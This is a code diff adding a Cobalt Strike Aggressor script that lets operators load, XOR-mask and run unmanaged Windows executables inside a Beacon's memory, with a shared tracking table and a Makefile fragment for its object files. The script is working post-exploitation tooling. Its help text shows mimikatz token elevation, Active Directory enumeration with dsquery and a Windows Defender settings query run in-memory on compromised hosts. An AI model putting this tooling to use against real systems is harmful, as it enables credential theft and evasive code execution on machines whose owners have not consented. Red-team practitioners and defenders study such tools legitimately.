🤬
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/Inline-Execute-PE.cna
     1 +global('@loadedPE $key $fillerarg $issuedcommand $petablefile')
     2 + 
     3 +#Key used to XOR PE in memory
     4 +$key = "redteam";
     5 + 
     6 +#Filler argument used in place of "argv[0]". We have this so operator doesn't have to type the PE name before args, e.g. perun dsquery.exe, perun mimikatz.exe, etc
     7 +#This can literally be gibberish, it's just a placeholder.
     8 +$fillerarg = "c:\\windows\\system32\\notepad.exe";
     9 + 
     10 +#Boolean controlling whether this client should print to the Beacon console when receiving output relating to Inline-Execute-PE.
     11 +#This exists so that if for example 4 clients are connnected to a TS, only the client that issued a Inline-Execute-PE command will react to and print messages rather than all 4 doing so.
     12 +$issuedcommand = 0;
     13 + 
     14 +#File path to external txt file where petable will be backed up after every modification and where client will try to load from on startup.
     15 +$petablefile = cwd() . "/petable.txt";
     16 + 
     17 +#@loadedPE is an array of arrays. Each array in loadedPE follows this format and each value in the arrays is stored as a string:
     18 +#@(BeaconID, PID, PEname, User, Date/Time, pMemAddrStruct, Timeout, UnloadLibraries, Aborted)
     19 +#
     20 +#Value description:
     21 +#0. beaconid = CobaltStrike internal identifier for each beacon. Used to create/locate/remove entries in loadedPE when pe commands are issues from a beacon console.
     22 +#1. pid = Beacon process ID. Stored for ease of reference for Operators.
     23 +#2. PEname = Name of the PE that was loaded into the beacon process using peload.
     24 +#3. User = CobaltStrike user alias of the CS client that loaded the PE into beacon process
     25 +#4. Date/Time = Date and time that the PE was loaded into beacon
     26 +#5. pMemAddrStruct = Memory address of critical struct in beacon memory used by Inline-Execute-PE to track values across BOF's
     27 +#6. Timeout = Max number of seconds to wait for PE to finish executing. When PE has ran longer than timeout it is forcibly terminated.
     28 +#7. UnloadLibraries = Boolean value dictating whether to try and unload DLL's that were loaded by the PE on runtime. Default TRUE.
     29 +#8. Aborted = Boolen value representing whether perun experienced timeout as set in the Timeout var. Default FALSE.
     30 +#
     31 +#$key variable is the string that Inline-Execute-PE will use to XOR encrypt the PE in memory.
     32 +#
     33 + 
     34 + 
     35 +############################## On load try to manually populate Inline-Execute-PE data structure from file ##############################
     36 + 
     37 +#On initial load, check for/create file to store file upload data
     38 +if(!-exists $petablefile)
     39 +{
     40 + createNewFile($petablefile);
     41 + 
     42 + if (checkError($error))
     43 + {
     44 + show_error("Could not locate or create upload tracker file (specified as " . $petablefile . ")! Try manually creating this file and then re-load this CNA!")
     45 + exit();
     46 + }
     47 + else
     48 + {
     49 + println("Successfully located " . $petablefile . "!")
     50 + }
     51 +}
     52 +else
     53 +{
     54 + #Read in uploads file to create array on startup
     55 + $handle = openf($petablefile);
     56 + while $text (readln($handle))
     57 + {
     58 + #Now split beacon_output by space delimeter and assign values as appropriate
     59 + ($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $text);
     60 + 
     61 + #Add entry to petable
     62 + add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted));
     63 + }
     64 + closef($handle);
     65 + println("Successfully located " . $petablefile . "!")
     66 +}
     67 + 
     68 +#This function called each time a clients PE table is modified in order to refresh the local on-disk copy of petable.
     69 +sub writelogfile
     70 +{
     71 + #open $petablefile file and write array out to file to ensure we don't lose data if CS crashes
     72 + $handle = openf(">" . $petablefile);
     73 + foreach @entry (@loadedPE)
     74 + {
     75 + println($handle, @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]);
     76 + }
     77 + closef($handle);
     78 +}
     79 + 
     80 +#################################### Parse Beacon output and update Inline-Execute-PE data structure ####################################
     81 + 
     82 +#Have to capture all beacon output and then filter to determine if it contains Inline-Execute-PE info or not
     83 +on beacon_output
     84 +{
     85 + local('$trash $x @entry')
     86 +
     87 + #Look for 'peload' in beacon_output, if it appears we need to parse and grab values
     88 + if("peload" isin $2)
     89 + {
     90 + $x = 0;
     91 + 
     92 + #Iterate over each array in @loadedPE
     93 + foreach @entry (@loadedPE)
     94 + {
     95 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     96 + if($1 eq @entry[0])
     97 + {
     98 + break;
     99 + }
     100 + $x++;
     101 + }
     102 + 
     103 + #Now split beacon_output by space delimeter and assign values as appropriate
     104 + ($trash @loadedPE[$x][5]) = split(" ", split("\n", $2)[-1]);
     105 + 
     106 + #Announce in beacon console what we have done
     107 + if(@loadedPE[$x][5] eq "failure")
     108 + {
     109 + if($issuedcommand == 1)
     110 + {
     111 + berror($1, "\c4Failed to load PE! Clearing petable entry!\c4\n");
     112 + }
     113 + 
     114 + #Remove entry from petable.
     115 + remove(@loadedPE, @loadedPE[$x]);
     116 + }
     117 + else
     118 + {
     119 + if($issuedcommand == 1)
     120 + {
     121 + blog($1, "\c9Successfully loaded PE!\c9\n");
     122 + }
     123 + }
     124 + 
     125 + #Set issuedcommand bool back to FALSE so we no longer print messages
     126 + $issuedcommand = 0;
     127 + 
     128 + #Re-write local petable file with updated data
     129 + writelogfile();
     130 + }
     131 + #Look for perun timeout, indicating that perun was aborted prematurely. Have to mark this beacon as unable to load additional PE's now.
     132 + else if("perun timeout" isin $2)
     133 + {
     134 + $x = 0;
     135 + 
     136 + #Iterate over each array in @loadedPE
     137 + foreach @entry (@loadedPE)
     138 + {
     139 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     140 + if($1 eq @entry[0])
     141 + {
     142 + break;
     143 + }
     144 + $x++;
     145 + }
     146 + 
     147 + #Update entry with invisible "aborted" entry so we can alter display in petable and prevent loading of additional PE's.
     148 + @loadedPE[$x][8] = "TRUE";
     149 + if($issuedcommand == 1)
     150 + {
     151 + blog($1, "\c4PE exceeded timeout! PE thread aborted, run peunload to clear PE from memory.\c4");
     152 + blog($1, "\c8Additional PE's CANNOT be loaded into this beacon!\c8\n");
     153 + }
     154 + 
     155 + #Set issuedcommand bool back to FALSE so we no longer print messages
     156 + $issuedcommand = 0;
     157 + 
     158 + #Re-write local petable file with updated data
     159 + writelogfile();
     160 + 
     161 + }
     162 + #perun complete indicates a successful return from perun. This only exists so we can turn off the issuedcommand bool so we don't have multiple clients printing on subsequent output.
     163 + else if("perun complete" isin $2)
     164 + {
     165 + #Set issuedcommand bool back to FALSE so we no longer print messages
     166 + $issuedcommand = 0;
     167 + }
     168 + #perun successful means we have to update/remove entry from petable
     169 + else if("peunload successful" isin $2)
     170 + {
     171 + $x = 0;
     172 + 
     173 + #Iterate over each array in @loadedPE
     174 + foreach @entry (@loadedPE)
     175 + {
     176 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     177 + if($1 eq @entry[0])
     178 + {
     179 + break;
     180 + }
     181 + $x++;
     182 + }
     183 + 
     184 + #If Aborted == TRUE, clear some info but leave entry in table so that user's know they can't load another PE into this beacon.
     185 + if(@loadedPE[$x][8] eq "TRUE")
     186 + {
     187 + @loadedPE[$x][2] = "DISABLED!";
     188 + @loadedPE[$x][5] = "null";
     189 + 
     190 + if($issuedcommand == 1)
     191 + {
     192 + blog($1, "\c9Successfully unloaded PE from Beacon!\c9");
     193 + blog($1, "\c4Note: This beacon aborted during perun and will be unable to load another PE!\c4");
     194 + }
     195 + }
     196 + else
     197 + {
     198 + #Remove entire entry from petable.
     199 + remove(@loadedPE, @loadedPE[$x]);
     200 + 
     201 + if($issuedcommand == 1)
     202 + {
     203 + blog($1, "\c9Successfully unloaded PE from beacon!\c9\n");
     204 + }
     205 + }
     206 + 
     207 + #Set issuedcommand bool back to FALSE so we no longer print messages
     208 + $issuedcommand = 0;
     209 + 
     210 + #Re-write local petable file with updated data
     211 + writelogfile();
     212 + }
     213 +}
     214 + 
     215 + 
     216 +###################################### Parse Event Log and update Inline-Execute-PE data structure ######################################
     217 + 
     218 +#Parse all events that hit the Event Log and act on those concerning Inline-Execute-PE events as well as notifications of new users joining the TS
     219 +on event_action
     220 +{
     221 + local('$trash $bid $pid $pe $user $datetime $structaddr $timeout $unloadlibraries $aborted $option $setting $x');
     222 + #If peload is in the event message, a new petable entry was created by a client and needs to be added to every other clients table.
     223 + if("peload" isin $2)
     224 + {
     225 + #Now split beacon_output by space delimeter and assign values as appropriate
     226 + ($trash, $bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $2);
     227 + 
     228 + #Add entry to petable
     229 + add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted));
     230 + 
     231 + #Re-write local petable file with updated data
     232 + writelogfile();
     233 + }
     234 + 
     235 + #If peconfig is in the event message, we need to alter an existing petable entry.
     236 + else if("peconfig" isin $2)
     237 + {
     238 + #Now split beacon_output by space delimeter and assign values as appropriate
     239 + ($trash, $bid, $option, $setting) = split(' ~\*~ ', $2);
     240 + 
     241 + $x = 0;
     242 + #Iterate over each array in @loadedPE
     243 + foreach @entry (@loadedPE)
     244 + {
     245 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     246 + if($bid eq @entry[0])
     247 + {
     248 + break;
     249 + }
     250 + $x++;
     251 + }
     252 + 
     253 + #Update the proper option (timeout/unloadlibraries)
     254 + if($option eq "timeout")
     255 + {
     256 + @loadedPE[$x][6] = $setting;
     257 + }
     258 + else #unloadlibraries
     259 + {
     260 + @loadedPE[$x][7] = $setting;
     261 + }
     262 + 
     263 + #Re-write local petable file with updated data
     264 + writelogfile();
     265 + }
     266 + 
     267 + #If pebroadcast is in event message and this client didn't send the broadcast, we need to sync our petable with the broadcasted one
     268 + else if("pebroadcast" isin $2 && $1 ne mynick())
     269 + {
     270 + #Now split beacon_output by space delimeter and assign values as appropriate
     271 + ($trash, $bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $2);
     272 + 
     273 + $x = 0;
     274 + $existingentry = 0;
     275 + 
     276 + #Iterate over each array in @loadedPE
     277 + foreach @entry (@loadedPE)
     278 + {
     279 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     280 + if($bid eq @entry[0])
     281 + {
     282 + $existingentry = 1;
     283 + break;
     284 + }
     285 + $x++;
     286 + }
     287 + 
     288 + #If we found an entry with the same $bid, update that entry
     289 + if($existingentry == 1)
     290 + {
     291 + @loadedPE[$x][1] = $pid;
     292 + @loadedPE[$x][2] = $pe;
     293 + @loadedPE[$x][3] = $user;
     294 + @loadedPE[$x][4] = $datetime;
     295 + @loadedPE[$x][5] = $structaddr;
     296 + @loadedPE[$x][6] = $timeout;
     297 + @loadedPE[$x][7] = $unloadlibraries;
     298 + @loadedPE[$x][8] = $aborted;
     299 + }
     300 + #Else we need to add a new row to petable for the entry we didn't have before.
     301 + else
     302 + {
     303 + #Add entry to petable
     304 + add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted));
     305 + }
     306 + 
     307 + #Re-write local petable file with updated data
     308 + writelogfile();
     309 + }
     310 +}
     311 + 
     312 +#################################### Pass Inline-Execute-PE data structure to new users joining TS #####################################
     313 + 
     314 +on event_join
     315 +{
     316 + #Query CS data model for users currently connected to TS, sort alphabetically
     317 + @users = sorta(data_query("users"));
     318 + 
     319 + #If this client is the first user (alphabetically), they will broadcast their petable so that all other clients may update / populate their tables.
     320 + if(@users[0] eq mynick())
     321 + {
     322 + #We are going to sleep for 5 seconds to allow the new CS client to fully startup + try and read from the local petable file (if it exists)
     323 + sleep(5000);
     324 + 
     325 + foreach @entry (@loadedPE)
     326 + {
     327 + action("pebroadcast" . " ~*~ " . @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]);
     328 + }
     329 + }
     330 +}
     331 + 
     332 +################################################################ petable ################################################################
     333 + 
     334 +alias petable
     335 +{
     336 + local('@temparr');
     337 + #If 'petable clear' is issued, iterate through table and remove any entries for beacons that have exited or haven't called back in 3x their sleep time (assumed dead);
     338 + if($2 eq "clear")
     339 + {
     340 + foreach @entry (@loadedPE)
     341 + {
     342 + println(@entry);
     343 + $bid = @entry[0];
     344 + if( !-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3))
     345 + {
     346 + #Have to build temporary array since we can't remove array items while iterating over that array
     347 + add(@temparr, @entry);
     348 + }
     349 + }
     350 + 
     351 + #Now remove each item in temparr from actual table
     352 + foreach @entry (@temparr)
     353 + {
     354 + remove(@loadedPE, @entry);
     355 + }
     356 + }
     357 + 
     358 + #Otherwise print table
     359 + else
     360 + {
     361 + $head1 = "PID";
     362 + $head2 = "PEname";
     363 + $head3 = "Loaded By";
     364 + $head4 = "Date/Time";
     365 + $head5 = "pMemAddrStruct";
     366 + $head6 = "Timeout";
     367 + $head7 = "UnloadLibraries";
     368 + 
     369 + blog($1, "");
     370 + blog($1, "\c9Green Entries\c9 = Active beacons");
     371 + blog($1, "\c4Red Entries = Active beacons that can no longer load a PE");
     372 + blog($1, "White Entries = Inactive beacons");
     373 + blog($1, "");
     374 + blog($1, "$[10]head1 $[30]head2 $[15]head3 $[15]head4 $[15]head5 $[15]head6 $[15]head7");
     375 + blog($1, "-" x 122);
     376 + 
     377 + foreach @entry (@loadedPE)
     378 + {
     379 + $bid = @entry[0];
     380 + $pid = @entry[1];
     381 + $PEname = @entry[2]; #split("/", @entry[2], 50)[-1];
     382 + $user = @entry[3];
     383 + $datetime = @entry[4];
     384 + $pMemAddrStruct = @entry[5];
     385 + $timeout = @entry[6];
     386 + $bUnloadLibraries = @entry[7];
     387 + 
     388 + #Display still active beacons that have aborted a perun command as RED -> Cannot load another PE into them.
     389 + if( -isactive $bid && binfo($bid, "last") <= (binfo($bid, "sleep")[0] * 1000 * 3) && @entry[8] eq "TRUE")
     390 + {
     391 + blog($1, "\c4$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries\c4");
     392 + }
     393 + #Display still active beacons as GREEN
     394 + else if(-isactive $bid && binfo($bid, "last") <= (binfo($bid, "sleep")[0] * 1000 * 3))
     395 + {
     396 + blog($1, "\c9$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries\c9");
     397 + }
     398 + #Display inactive beacons and those that haven't called back within 3x the sleep time as normal/white.
     399 + else
     400 + {
     401 + blog($1, "$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries");
     402 + }
     403 + }
     404 + blog($1, "");
     405 + }
     406 +}
     407 + 
     408 +beacon_command_register(
     409 + "petable",
     410 + "View the table of currently loaded unmanaged Windows executables in Beacons",
     411 + "
     412 +Command: petable
     413 +Summary: This command will display a table detailing all beacons in which a PE has been loaded.
     414 + The table may additionally be cleared of old entries concerning dead beacons.
     415 + 
     416 +Usage: petable <optional arg>
     417 + <optional arg> Optional. 'clear' may be specified to clear entries from the table where Beacon is dead or has exceeded 3x callback time.
     418 + 
     419 + Example: petable <- This example will display the table of Beacons with loaded PE's.
     420 + Example: petable clear <- This example will clear the table of entries concerning Beacons that are either dead or who have exceeded 3x the callback time.
     421 +"
     422 +);
     423 + 
     424 +################################################################ peload #################################################################
     425 + 
     426 +alias peload
     427 +{
     428 + local('$bid $barch $PE $args $x $matchfound');
     429 + 
     430 + $bid = $1;
     431 + 
     432 + if(1 > size(@_) || 2 < size(@_) )
     433 + {
     434 + berror($bid, "Invalid number of arguments");
     435 + berror($bid, beacon_command_detail("peload"));
     436 + return;
     437 + }
     438 + 
     439 + $barch = barch($bid);
     440 + if($barch ne "x64")
     441 + {
     442 + berror($1, "Only x64 is supported... sorry");
     443 + return;
     444 + }
     445 + 
     446 + #Make sure user hasn't specified a key greater than 99 characters in length so we don't overflow var in BOF
     447 + if(strlen($key) > 99)
     448 + {
     449 + show_error("Inline-Execute-PE XOR key may not be longer than 99 characters! Edit Inline-Execute-PE.cna and reload!");
     450 + berror($1, "Inline-Execute-PE XOR key may not be longer than 99 characters! Edit Inline-Execute-PE.cna and reload!")
     451 + exit();
     452 + }
     453 + 
     454 + #Need to look at petable and see if there is already an entry for this beacon-> means there is already a mapped PE, don't let user map another
     455 + $x = 0;
     456 + $matchfound = 0;
     457 + 
     458 + #Iterate over each array in @loadedPE
     459 + foreach @entry (@loadedPE)
     460 + {
     461 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     462 + if($bid eq @entry[0])
     463 + {
     464 + $matchfound = 1;
     465 + break;
     466 + }
     467 + $x++;
     468 + }
     469 + 
     470 + if($matchfound == 1)
     471 + {
     472 + berror($bid, "This beacon already has a loaded PE: " . @loadedPE[$x][2]);
     473 + exit();
     474 + }
     475 + else if(!-exists $2)
     476 + {
     477 + berror($bid, "Specified executable does not exist!\n");
     478 + exit();
     479 + }
     480 + else
     481 + {
     482 + # read in the right BOF file
     483 + $handle = openf($2);
     484 + $PE = readb($handle, -1);
     485 + closef($handle);
     486 + 
     487 + #Create array in @loadedPE to store PE data.
     488 + #Values: BeaconID, PID, PEname, User, Date/Time, pMemAddrStruct, Timeout, UnloadLibraries, Aborted
     489 + action("peload" . " ~*~ " . $bid . " ~*~ " . binfo($bid, "pid") . " ~*~ " . split("/", $2, 50)[-1] . " ~*~ " . mynick() . " ~*~ " . tstamp(ticks()) . " ~*~ " . "null" . " ~*~ " . "60" . " ~*~ " . "TRUE" . " ~*~ " . "FALSE");
     490 + 
     491 + #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF;
     492 + $issuedcommand = 1;
     493 + 
     494 + loadpe($bid, $PE);
     495 + }
     496 +}
     497 + 
     498 +sub loadpe{
     499 + #Figure out the arch of this session
     500 + $barch = barch($1);
     501 + 
     502 + # read in the right BOF file
     503 + $handle = openf(script_resource("peload. $+ $barch $+ .o"));
     504 + $data = readb($handle, -1);
     505 + closef($handle);
     506 + 
     507 + # Pack the arguments
     508 + $args = bof_pack($1, "bz", $2, $key);
     509 + 
     510 + # Execute BOF
     511 + beacon_inline_execute($1, $data, "go", $args);
     512 +}
     513 + 
     514 +beacon_command_register(
     515 + "peload",
     516 + "Load an unmanaged Windows executable into Beacon memory",
     517 + "
     518 +Command: peload
     519 +Summary: This command will run a BOF to load an unmanaged PE into Beacon memory.
     520 + Supports x64 C or C++ binaries compiled with mingw or visual studio. Binaries outside these parameters are untested.
     521 + 
     522 +Usage: peload </path/to/binary.exe>
     523 + </path/to/binary.exe> Required. Full path to the windows EXE you wish you load into the Beacon.
     524 + 
     525 + Example: peload /root/windows_binaries/dsquery_win7.exe
     526 +"
     527 +);
     528 + 
     529 +################################################################# perun #################################################################
     530 + 
     531 +alias perun
     532 +{
     533 + local('$cmdline $args $pMemAddrStruct $x $matchfound $timeout %params @keys');
     534 + 
     535 + $bid = $1;
     536 + 
     537 + #Need to look at petable and make sure there is a mapped PE in this beacon, else exit and inform user they need to map one
     538 + $x = 0;
     539 + $matchfound = 0;
     540 + 
     541 + #Iterate over each array in @loadedPE
     542 + foreach @entry (@loadedPE)
     543 + {
     544 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     545 + if($bid eq @entry[0])
     546 + {
     547 + $matchfound = 1;
     548 + break;
     549 + }
     550 + $x++;
     551 + }
     552 + 
     553 + if($matchfound == 0)
     554 + {
     555 + berror($bid, "There is not a PE mapped in this beacon!");
     556 + exit();
     557 + }
     558 + else if(@loadedPE[$x][8] eq "TRUE")
     559 + {
     560 + berror($bid, "This Beacon cannot run a PE because the timeout condition was reached!");
     561 + exit();
     562 + }
     563 + else
     564 + {
     565 + $pMemAddrStruct = @loadedPE[$x][5];
     566 + $cmdline = $fillerarg;
     567 + $timeout = @loadedPE[$x][6];
     568 + 
     569 + $y = 0;
     570 + #Iterate through args given to perun
     571 + foreach $arg (@_)
     572 + {
     573 + #Discard the first arg; this is always the beacon ID which we don't need. Otherwise build final cmdline string by concatenating args.
     574 + if($arg ne @_[0])
     575 + {
     576 + #We have instructed users to 'escape' double quotes by using a backslash; identify this and replace with a normal double quote.
     577 + $arg = strrep($arg, '\\"', '"');
     578 + println("arg " . $y . " is: " . $arg . "\n");
     579 + $cmdline = $cmdline . " " . $arg;
     580 + }
     581 + $y++;
     582 + }
     583 + 
     584 + #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF;
     585 + $issuedcommand = 1;
     586 + 
     587 + runpe($1, $pMemAddrStruct, $cmdline, $timeout);
     588 + }
     589 +}
     590 + 
     591 +sub runpe{
     592 + #Figure out the arch of this session
     593 + $barch = barch($1);
     594 + 
     595 + # read in the right BOF file
     596 + $handle = openf(script_resource("perun. $+ $barch $+ .o"));
     597 + $data = readb($handle, -1);
     598 + closef($handle);
     599 + 
     600 + # Pack the arguments
     601 + $args = bof_pack($bid, "zzzi", $key, $2, $3, $4);
     602 + 
     603 + # Execute BOF
     604 + beacon_inline_execute($bid, $data, "go", $args);
     605 +}
     606 + 
     607 +beacon_command_register(
     608 + "perun",
     609 + "Execute an unmanaged Windows executable in Beacon memory",
     610 + "
     611 +Command: perun
     612 +Summary: This command will run a BOF to execute an unmanaged PE that was previously loaded using the peload command.
     613 + Provide any command line arguments to the PE immediately following perun.
     614 + Any double quotes (\") in the command line arguments must be escaped using the backslash (\) character.
     615 + 
     616 +Usage: perun <arg> <arg> <arg> ...
     617 + <arg> An argument to the loaded PE. Do not specify the name of the executable, this is covered by the \"fillerarg\" variable in the aggressor script.
     618 + 
     619 + Example: perun privilege::debug token::elevate exit <- This example when mimikatz.exe was loaded using peload
     620 + Example: perun * -filter \"(objectclass=user)\" -attr * -Limit 1 <- This example when dsquery.exe was loaded using peload. Notice backslash to escape double quotes.
     621 + Example: perun /c cd <- This example when cmd.exe was loaded using peload.
     622 + Example: perun -acceptula -p explorer.exe <- This example when handle64.exe (sysinternals) was loaded using peload.
     623 + Example: perun Get-MpPreference <- This example when powershell.exe was loaded using peload.
     624 +"
     625 +);
     626 + 
     627 +################################################################ peunload ###############################################################
     628 + 
     629 +alias peunload
     630 +{
     631 + local('$args $pMemAddrStruct $x $bUnloadLibraries');
     632 + 
     633 + $bid = $1;
     634 + 
     635 + if( size(@_) > 1)
     636 + {
     637 + berror($bid, "Invalid number of arguments");
     638 + berror($bid, beacon_command_detail("peunload"));
     639 + exit();
     640 + }
     641 + 
     642 + if(!-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3))
     643 + {
     644 + berror($1, "Cannot unload PE from a Beacon that is not alive or has not called back within 3x the set sleep time!");
     645 + exit();
     646 + }
     647 + 
     648 + #Need to look at petable and make sure there is a mapped PE in this beacon, else exit and inform user they need to map one
     649 + $x = 0;
     650 + $matchfound = 0;
     651 + 
     652 + #Iterate over each array in @loadedPE
     653 + foreach @entry (@loadedPE)
     654 + {
     655 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     656 + if($bid eq @entry[0])
     657 + {
     658 + $matchfound = 1;
     659 + break;
     660 + }
     661 + $x++;
     662 + }
     663 + 
     664 + if($matchfound == 0)
     665 + {
     666 + berror($bid, "There is not a PE mapped in this beacon!");
     667 + exit();
     668 + }
     669 + else if(@loadedPE[$x][2] eq "DISABLED!")
     670 + {
     671 + berror($bid, "There is not a PE mapped in this beacon!");
     672 + exit();
     673 + }
     674 + else
     675 + {
     676 + #Translate bUnloadLibraries in table to numerical representation
     677 + if(@loadedPE[$x][7] eq "TRUE")
     678 + {
     679 + $bUnloadLibraries = 1;
     680 + }
     681 + else
     682 + {
     683 + $bUnloadLibraries = 0;
     684 + }
     685 +
     686 + $pMemAddrStruct = @loadedPE[$x][5];
     687 + 
     688 + #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF;
     689 + $issuedcommand = 1;
     690 + 
     691 + unloadpe($bid, $pMemAddrStruct, $bUnloadLibraries);
     692 + }
     693 + 
     694 + 
     695 +}
     696 + 
     697 +sub unloadpe{
     698 + #Figure out the arch of this session
     699 + $barch = barch($1);
     700 + 
     701 + # read in the right BOF file
     702 + $handle = openf(script_resource("peunload. $+ $barch $+ .o"));
     703 + $data = readb($handle, -1);
     704 + closef($handle);
     705 + 
     706 + # Pack the arguments
     707 + $args = bof_pack($bid, "zi", $2, $3);
     708 + 
     709 + # Execute BOF
     710 + beacon_inline_execute($bid, $data, "go", $args);
     711 +}
     712 + 
     713 +beacon_command_register(
     714 + "peunload",
     715 + "Unload an unmanaged Windows executable from Beacon memory",
     716 + "
     717 +Command: peunload
     718 +Summary: This command will run a BOF to unload an unmanaged PE from Beacon memory and cleanup additional structures.
     719 + Memory containing the PE will be zeroed out and freed.
     720 + (most) handles and file pointers opened as part of Inline-Execute-PE will be closed.
     721 + Will attempt to unload DLL's loaded by the PE unless otherwise specified by peconfig.
     722 + 
     723 +Usage: peunload
     724 +"
     725 +);
     726 + 
     727 +############################################################### peconfig ################################################################
     728 + 
     729 +alias peconfig
     730 +{
     731 + local('$x @entry $bid');
     732 + 
     733 + $bid = $1;
     734 + 
     735 + if(!-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3))
     736 + {
     737 + berror($1, "Cannot update settings for a Beacon that is not alive or has not called back within 3x the set sleep time!");
     738 + exit();
     739 + }
     740 + 
     741 + $x = 0;
     742 + 
     743 + #Iterate over each array in @loadedPE
     744 + foreach @entry (@loadedPE)
     745 + {
     746 + #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in.
     747 + if($bid eq @entry[0])
     748 + {
     749 + break;
     750 + }
     751 + $x++;
     752 + }
     753 + 
     754 + #Verify setting user wishes to alter
     755 + if(lc($2) eq "timeout")
     756 + {
     757 + if($3 ismatch '\d+')
     758 + {
     759 + #Write to Event Log so all clients can update petable entry
     760 + action("peconfig" . " ~*~ " . $bid . " ~*~ " . $2 . " ~*~ " . $3);
     761 + }
     762 + else
     763 + {
     764 + berror($1, "Incorrect usage!");
     765 + berror($1, beacon_command_detail("peconfig"));
     766 + exit();
     767 + }
     768 + 
     769 + }
     770 + else if(lc($2) eq "unloadlibraries")
     771 + {
     772 + if(lc($3) eq "true" || lc($3) eq "false")
     773 + {
     774 + #Write to Event Log so all clients can update petable entry
     775 + action("peconfig" . " ~*~ " . $bid . " ~*~ " . $2 . " ~*~ " . uc($3));
     776 + }
     777 + else
     778 + {
     779 + berror($1, "Incorrect usage!");
     780 + berror($1, beacon_command_detail("peconfig"));
     781 + exit();
     782 + }
     783 + }
     784 + else
     785 + {
     786 + berror($bid, "Invalid setting");
     787 + berror($bid, beacon_command_detail("peconfig"));
     788 + exit();
     789 + }
     790 +}
     791 + 
     792 +beacon_command_register(
     793 + "peconfig",
     794 + "Configure options for unmanaged Windows executables loaded in Beacon memory",
     795 + "
     796 +Command: peconfig
     797 +Summary: This command alters options relating to a PE loaded in Beacon memory.
     798 + These settings are on a per-PE basis; if you unload one PE from a Beacon and then load another, settings will revert to their defaults.
     799 + Two options may be altered using this command: timeout and unloadlibraries
     800 + 
     801 + timeout: This option controls how long Beacon will wait for the PE to finish running before forcibly terminating it.
     802 + This limiter exists as a fail-safe for PE's which may have been given arguments that cause them to run infinitely (e.g. a mimikatz command that didn't include 'exit')
     803 + Note that if a PE is aborted by the timeout feature, this Beacon will lose the ability to load and use additional PE's!
     804 + 
     805 + unloadlibraries: This option dictates whether or not peunload will attempt to unload DLL's that were loaded by the PE during runtime. Default setting is TRUE.
     806 + Sometimes Beacon will crash after DLL's that were loaded by a PE are unloaded; one such example is when a PE loads the .NET CLR (e.g. Powershell)
     807 + This setting can be set to FALSE so that any DLL's loaded by a PE will be left in the process.
     808 + 
     809 +Usage: peconfig <option> <value>
     810 + <option> Required. The option you wish to alter.
     811 + Acceptable values:
     812 + timeout
     813 + unloadlibraries
     814 + 
     815 + 
     816 + <value> Required. The setting you wish to assign to the specific option.
     817 + timeout: The number of seconds you wish to wait for the PE to complete running. Default 60 seconds.
     818 + unloadlibraries: Whether or not to try and unload DLL's loaded by the PE. Default TRUE.
     819 + 
     820 + 
     821 + Example: peconfig timeout 180 <- This example sets the timeout to 3 minutes. Set timeout longer when long-running PE's are being used.
     822 + Example: peconfig unloadlibraries FALSE <- This example instructs peunload to not try to unload DLL's loaded by the PE. Useful with specific PE's that otherwise cause crashes when this is attempted.
     823 +"
     824 +);
     825 + 
     826 +############################################################## pebroadcast ##############################################################
     827 + 
     828 +alias pebroadcast
     829 +{
     830 + foreach @entry (@loadedPE)
     831 + {
     832 + action("pebroadcast" . " ~*~ " . @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]);
     833 + }
     834 +}
     835 + 
     836 +beacon_command_register(
     837 + "pebroadcast",
     838 + "Manually broadcast Client's data concerning unmanaged Windows executables loaded in Beacon memory to all other CobaltStrike Clients.",
     839 + "
     840 +Command: pebroadcast
     841 +Summary: This command will broadcast the Client's petable to all other connected Clients, causing them to update their table with the data contained in the broadcasting Clients' petable.
     842 + 
     843 +Usage: pebroadcast
     844 +"
     845 +);
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/Makefile
     1 +all: peload perun peunload
     2 + 
     3 +peload: peload.c
     4 + x86_64-w64-mingw32-gcc -c peload.c -o peload.x64.o -Llibucrtbase.a -DBOF -Os -m64
     5 + 
